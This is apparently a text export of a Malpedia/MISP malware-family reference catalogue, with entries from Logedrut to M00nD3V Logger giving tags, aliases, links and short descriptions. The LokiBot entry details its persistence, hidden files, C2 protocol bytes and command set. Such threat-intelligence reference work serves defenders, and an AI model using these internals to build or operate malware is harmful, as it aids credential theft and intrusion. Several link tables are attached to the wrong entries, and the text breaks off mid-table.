https://securelist.com/apt-trends-report-q3-2020/99204/
https://blogs.jpcert.or.jp/ja/2020/06/LODEINFO-2.html
https://blogs.jpcert.or.jp/ja/2020/02/LODEINFO.html

Logedrut

The tag is: misp-galaxy:malpedia="Logedrut"

Logedrut is also known as:

Table 3447. Table References
LogPOS

The tag is: misp-galaxy:malpedia="LogPOS"

LogPOS is also known as:

Table 3448. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos</a></td>
</tr>
</tbody>
</table>

Logtu

The tag is: misp-galaxy:malpedia="Logtu"

Logtu is also known as:

Table 3449. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu">https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.ru/show/?i=14177">https://news.drweb.ru/show/?i=14177</a></td>
</tr>
</tbody>
</table>

LoJax

The tag is: misp-galaxy:malpedia="LoJax"

LoJax is also known as:

Table 3450. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax">https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax</a></td>
</tr>
</tbody>
</table>
LokiLocker

LokiLocker is a .Net ransomware, which was seen first in August 2021. This malware is protected with NETGuard (modified ConfuserEX) using the additional KoiVM virtualization plugin. The victims were observed to be scattered around the world, with main concentration in Eastern Europe and Asia (BlackBerry).

The tag is: misp-galaxy:malpedia="LokiLocker"

LokiLocker is also known as:

Table 3451. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lokilocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.lokilocker</a></td>
</tr>
<tr>
<td><a href="https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/">https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/">https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware">https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware</a></td>
</tr>
</tbody>
</table>

Loki Password Stealer (PWS)

"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe

Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.

Loki-Bot accepts a single argument/switch of `-u` that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.

The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.
Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\C98066\”.

There can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:

FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server

If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.

The first packet transmitted by Loki-Bot contains application data.

The second packet transmitted by Loki-Bot contains decrypted Windows credentials.

The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.

Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.

The first WORD of the HTTP Payload represents the Loki-Bot version.

The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:

<table>
<thead>
<tr>
<th>BYTE PAYLOAD TYPE</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x26</td>
<td>Stolen Cryptocurrency Wallet</td>
</tr>
<tr>
<td>0x27</td>
<td>Stolen Application Data</td>
</tr>
<tr>
<td>0x28</td>
<td>Get C2 Commands from C2 Server</td>
</tr>
<tr>
<td>0x29</td>
<td>Stolen File</td>
</tr>
<tr>
<td>0x2A</td>
<td>POS (Point of Sale?)</td>
</tr>
<tr>
<td>0x2B</td>
<td>Keylogger Data</td>
</tr>
<tr>
<td>0x2C</td>
<td>Screenshot</td>
</tr>
</tbody>
</table>

The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!

Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.

The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.

Loki-Bot can accept the following instructions from the C2 Server:

<table>
<thead>
<tr>
<th>BYTE INSTRUCTION</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Download EXE &amp; Execute</td>
</tr>
<tr>
<td>0x01</td>
<td>Download DLL &amp; Load #1</td>
</tr>
<tr>
<td>0x02</td>
<td>Download DLL &amp; Load #2</td>
</tr>
<tr>
<td>0x08</td>
<td>Delete HDB File</td>
</tr>
<tr>
<td>0x09</td>
<td>Start Keylogger</td>
</tr>
<tr>
<td>0x0A</td>
<td>Mine &amp; Steal Data</td>
</tr>
</tbody>
</table>
Loki Password Stealer (PWS) is also known as:

- Burkina
- Loki
- LokiBot
- LokiPWS

Table 3452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws">https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=K3Yxu_9OUxU">https://www.youtube.com/watch?v=K3Yxu_9OUxU</a></td>
</tr>
<tr>
<td><a href="https://ivanvza.github.io/posts/lokibot_analysis">https://ivanvza.github.io/posts/lokibot_analysis</a></td>
</tr>
<tr>
<td><a href="https://malcat.fr/blog/statically-unpacking-a-simple-net-dropper/">https://malcat.fr/blog/statically-unpacking-a-simple-net-dropper/</a></td>
</tr>
<tr>
<td><a href="http://www.malware-traffic-analysis.net/2017/06/12/index.html">http://www.malware-traffic-analysis.net/2017/06/12/index.html</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2">https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=-FxyzuRv6Wg">https://www.youtube.com/watch?v=-FxyzuRv6Wg</a></td>
</tr>
<tr>
<td><a href="https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations">https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html">https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=N0wAh26wShE">https://www.youtube.com/watch?v=N0wAh26wShE</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850">https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/loki-bot-stealing-corporate-passwords/87595/">https://securelist.com/loki-bot-stealing-corporate-passwords/87595/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/">https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokirobot-infection-chain.html">https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokirobot-infection-chain.html</a></td>
</tr>
<tr>
<td><a href="https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/">https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/roboski-global-recovery-automation/">https://securityintelligence.com/posts/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/a-twisted-malware-infection-chain/">https://lab52.io/blog/a-twisted-malware-infection-chain/</a></td>
</tr>
<tr>
<td><a href="http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html">http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/">https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/</a></td>
</tr>
<tr>
<td><a href="http://reversing.fun/posts/2021/06/08/lokibot.html">http://reversing.fun/posts/2021/06/08/lokibot.html</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/24372">https://isc.sans.edu/diary/24372</a></td>
</tr>
<tr>
<td><a href="https://r3mrum.wordpress.com/2017/05/07/loki-bot-astrifacts/">https://r3mrum.wordpress.com/2017/05/07/loki-bot-astrifacts/</a></td>
</tr>
<tr>
<td><a href="https://github.com/R3MRUM/loki-parse">https://github.com/R3MRUM/loki-parse</a></td>
</tr>
<tr>
<td><a href="http://reversing.fun/reversing/2021/06/08/lokibot.html">http://reversing.fun/reversing/2021/06/08/lokibot.html</a></td>
</tr>
<tr>
<td><a href="https://www.ciphertechsolutions.com/roboski-global-recovery-automation/">https://www.ciphertechsolutions.com/roboski-global-recovery-automation/</a></td>
</tr>
</tbody>
</table>
Lokorrito

According to ESET, this is a banking trojan that was active mainly in Mexico until the beginning of 2020, with builds for Brazil, Chile, and Colombia also having been identified.

The tag is: `misp-galaxy:malpedia="Lokorrito"`

Lokorrito is also known as:

Table 3453. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lokorrito">https://malpedia.caad.fkie.fraunhofer.de/details/win.lokorrito</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/">https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/</a></td>
</tr>
</tbody>
</table>

LOLSnif

The tag is: `misp-galaxy:malpedia="LOLSnif"`

LOLSnif is also known as:

Table 3454. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif">https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif</a></td>
</tr>
</tbody>
</table>
LONGWATCH

The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

The tag is: `misp-galaxy:malpedia="LONGWATCH"

LONGWATCH is also known as:

Table 3455. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch">https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch</a></td>
</tr>
<tr>
<td><a href="https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae">https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae</a></td>
</tr>
</tbody>
</table>

loChiper

LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straightforward, not very different from those belonging to many other ransomware families.

The tag is: `misp-galaxy:malpedia="loochiper"

loChiper is also known as:

Table 3456. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper">https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper</a></td>
</tr>
</tbody>
</table>

Lookback

The tag is: `misp-galaxy:malpedia="Lookback"

Lookback is also known as:
L0rdix

L0rdix is a multipurpose .NET remote access tool (RAT) first discovered being sold on underground forums in November 2018. Out of the box, L0rdix supports eight commands, although custom commands can be defined and added. These include:

- Download and execute
- Update
- Open page (visible) Open page (invisible)
- Cmd
- Kill process
- Upload file
- HTTP Flood

L0rdix can extract credentials from common web browsers and steal data from crypto wallets and a target's clipboard. Optionally, L0rdix can deploy a cryptominer (XMRig) to its bots.

The tag is: `misp-galaxy:malpedia=L0rdix`

L0rdix is also known as:

- lordix

Table 3458. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix">https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix</a></td>
</tr>
<tr>
<td><a href="https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py">https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py</a></td>
</tr>
<tr>
<td><a href="https://www.bromium.com/decrypting-l0rdix-rats-c2/">https://www.bromium.com/decrypting-l0rdix-rats-c2/</a></td>
</tr>
</tbody>
</table>
Lorenz

Tesorion describes Lorenz as a ransomware with design and implementation flaws, leading to impossible decryption with tools provided by the attackers. A free decryptor for 2021 versions was made available via the NoMoreRansom initiative. A new version of the malware was discovered in March 2022, for which again was provided a free decryptor, while the ransomware operators are not able to provide tools to decrypt affected files.

The tag is: misp-galaxy:malpedia="Lorenz"

Lorenz is also known as:

Table 3459. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz">https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz</a></td>
</tr>
<tr>
<td><a href="https://arcticwolf.com/resources/blog/lorenz-ransomware-getting-dumped/">https://arcticwolf.com/resources/blog/lorenz-ransomware-getting-dumped/</a></td>
</tr>
<tr>
<td><a href="https://thererecord.media/free-decrypter-available-for-lorenz-ransomware/">https://thererecord.media/free-decrypter-available-for-lorenz-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20">https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20</a></td>
</tr>
<tr>
<td><a href="https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/">https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware">https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware</a></td>
</tr>
</tbody>
</table>

Loup

Frank Boldewin describes Loup as a small cli-tool to cash out NCR devices (ATM).

The tag is: misp-galaxy:malpedia="Loup"

Loup is also known as:

Table 3460. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.loup">https://malpedia.caad.fkie.fraunhofer.de/details/win.loup</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Arkbird_SOLG/status/1295396936896438272">https://twitter.com/Arkbird_SOLG/status/1295396936896438272</a></td>
</tr>
</tbody>
</table>
LOWBALL

LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.

The tag is: `misp-galaxy:malpedia="LOWBALL"`

LOWBALL is also known as:

Table 3461. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball">https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html">https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html</a></td>
</tr>
</tbody>
</table>

LOWKEY

The tag is: `misp-galaxy:malpedia="LOWKEY"`

LOWKEY is also known as:

- PortReuse

Table 3462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey">https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/apt41-us-state-governments">https://www.mandiant.com/resources/apt41-us-state-governments</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/">https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/</a></td>
</tr>
</tbody>
</table>

LOWZERO

The tag is: `misp-galaxy:malpedia="LOWZERO"`

LOWZERO is also known as:

Table 3463. Table References
LPEClient

LPEClient is an HTTP(S) downloader that expects two command line parameters: an encrypted string containing two URLs (a primary and a secondary C&C server), and the path on the victim’s file system to store the downloaded payload.

It sends detailed information about the victim’s environment, like computer name, type and number of processors, computer manufacturer, product name, major and minor Windows versions, architecture, memory information, installed security software and the version of the ntoskrnl.exe from its version-information resource.

LPEClient uses specific 32-bit values to represent its execution state (0x59863F09 when connecting via the WinHTTP interface, 0xA9348B57 via WinInet), or the nature of HTTP requests to the C&C servers (0xF07D6B34 when sending system information, 0xEF8C0D51 when requesting a DLL payload, 0xCB790A25 when reporting the successful loading of the DLL, 0xD7B20A96 when reporting the state of the DLL execution). As the final step, malware looks for the export CloseEnv and executes it.

The tag is: misp-galaxy:malpedia="LPEClient"

LPEClient is also known as:

- LPEClientTea

Table 3464. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero">https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient">https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-lazarus-group-deathnote-campaign/109490/">https://securelist.com/the-lazarus-group-deathnote-campaign/109490/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-threatneedle/100803/">https://securelist.com/lazarus-threatneedle/100803/</a></td>
</tr>
</tbody>
</table>

lsassDumper

This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service "transfer.sh".
lsassDumper is also known as:

Table 3465. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper">https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper</a></td>
</tr>
</tbody>
</table>

Lu0Bot

According to PCrisk, Lu0bot es un software malicioso. El malware es ligero, por lo que su uso de los recursos del sistema es bajo. Esto complica la detección de Lu0bot, ya que no causa síntomas significativos, como una grave disminución del rendimiento del sistema.

El programa malicioso funciona como un recolector de telemetría.

The tag is: misp-galaxy:malpedia="Lu0Bot"

Lu0Bot is also known as:

Table 3466. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lu0bot">https://malpedia.caad.fkie.fraunhofer.de/details/win.lu0bot</a></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/browse/tag/Lu0Bot/">https://bazaar.abuse.ch/browse/tag/Lu0Bot/</a></td>
</tr>
</tbody>
</table>

LuaDream

The tag is: misp-galaxy:malpedia="LuaDream"

LuaDream is also known as:

- DreamLand

Table 3467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.luadream">https://malpedia.caad.fkie.fraunhofer.de/details/win.luadream</a></td>
</tr>
<tr>
<td><a href="https://r136a1.dev/2023/09/22/more-on-dreamland/">https://r136a1.dev/2023/09/22/more-on-dreamland/</a></td>
</tr>
</tbody>
</table>
**Luca Stealer**

According to PCRisk, The Luca stealer can extract a variety of information from compromised machines. It targets data related to the following: operating system, device name, CPUs, desktop environment, network interface, user account name, preferred system language, running processes, etc.

This malicious program can steal information from over thirty Chromium-based browsers. From these applications, Luca can obtain Internet cookies, account log-in credentials (usernames/passwords), and credit card numbers. Additionally, the stealer can extract data from password manager and cryptowallet browser extensions compatible with over twenty browsers.

This malware also targets various messaging applications like Telegram, Discord, ICQ, Skype, Element, etc. It likewise aims to acquire information from gaming-related software such as Steam and Uplay (Ubisoft Connect). Furthermore, some versions of Luca can take screenshots and download the files stored on victims’ devices.

The tag is: `misp-galaxy:malpedia="Luca Stealer"`

**Table 3468. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Lucifer**

The tag is: `misp-galaxy:malpedia="Lucifer"`

Lucifer is also known as:

**Table 3469. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Luminosity RAT**

The tag is: `misp-galaxy:malpedia="Luminosity RAT"`

Luminosity RAT is also known as:

- LuminosityLink
**Lumma Stealer**

Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor “Shamel”, who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5". The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.

The tag is: *misp-galaxy:malpedia="Lumma Stealer"*

Lumma Stealer is also known as:

- LummaC2 Stealer

---

**Table 3470. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/">https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/research/threat-profiles/copper-fieldstone">https://www.secureworks.com/blog/research/threat-profiles/copper-fieldstone</a></td>
</tr>
<tr>
<td><a href="https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/">https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/</a></td>
</tr>
<tr>
<td><a href="http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html">http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html</a></td>
</tr>
</tbody>
</table>

---

**Table 3471. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/fumiko_/status/1559474920152875008">https://twitter.com/fumiko_/status/1559474920152875008</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/sekoia_io/status/1572889505497223169">https://twitter.com/sekoia_io/status/1572889505497223169</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/the-case-of-lummac2-v4-0">https://www.esentire.com/blog/the-case-of-lummac2-v4-0</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Ishusoka/status/1614028229307928582">https://twitter.com/Ishusoka/status/1614028229307928582</a></td>
</tr>
<tr>
<td><a href="https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer">https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer</a></td>
</tr>
</tbody>
</table>
LunchMoney

An uploader that can exfiltrate files to Dropbox.

The tag is: *misp-galaxy:malpedia*="LunchMoney"

LunchMoney is also known as:

Table 3472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney">https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MrDanPerez/status/1097881406661902337">https://twitter.com/MrDanPerez/status/1097881406661902337</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html">https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html</a></td>
</tr>
</tbody>
</table>

Lurk

The tag is: *misp-galaxy:malpedia*="Lurk"

Lurk is also known as:

Table 3473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk">https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader">https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader</a></td>
</tr>
</tbody>
</table>

Luzo

The tag is: *misp-galaxy:malpedia*="Luzo"

Luzo is also known as:
Lyceum .NET DNS Backdoor

This .NET written malware is used as backdoor using the dns protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing files/directories/installed applications, and uploading/downloading/execution of files). There are also variants using HTTP (.Net) and also one written in Golang.

The tag is: `misp-galaxy:malpedia="Lyceum .NET DNS Backdoor"

Lyceum .NET DNS Backdoor is also known as:

Lyceum .NET TCP Backdoor

This .Net written malware is used as backdoor using the http protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing files/directories/installed applications, and uploading/downloading/execution of files). There are also variants using DNS (.Net) and also one written in Golang.

The tag is: `misp-galaxy:malpedia="Lyceum .NET TCP Backdoor"

Lyceum .NET TCP Backdoor is also known as:

Lyceum Golang HTTP Backdoor

This Golang written malware is used as backdoor using the http protocol by a state sponsored threat actor (TA). This backdoor is running in a loop of three stages: - Check the connectivity - Registration of the victim - Retrieval and execution of commands This TA is using also variants .NET
backdoors utilizing HTTP and DNS.

The tag is: `misp-galaxy:malpedia="Lyceum Golang HTTP Backdoor"`

Lyceum Golang HTTP Backdoor is also known as:

*Table 3477. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/">https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/</a></td>
</tr>
</tbody>
</table>

**Lyposit**

The tag is: `misp-galaxy:malpedia="Lyposit"`

Lyposit is also known as:

- Adneukine
- Bomba Locker
- Lucky Locker

*Table 3478. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit">https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/">https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/</a></td>
</tr>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html">http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html</a></td>
</tr>
</tbody>
</table>

**M00nD3V Logger**

According Zscaler, M00nD3V Logger has the ability to steal confidential information, such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials; capture Windows keystrokes; and gain access to the webcam and hook the clipboard. In all, it has the ability to steal passwords from 42 applications.

The tag is: `misp-galaxy:malpedia="M00nD3V Logger"`

M00nD3V Logger is also known as:

*Table 3479. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.m00nd3v">https://malpedia.caad.fkie.fraunhofer.de/details/win.m00nd3v</a></td>
</tr>
<tr>
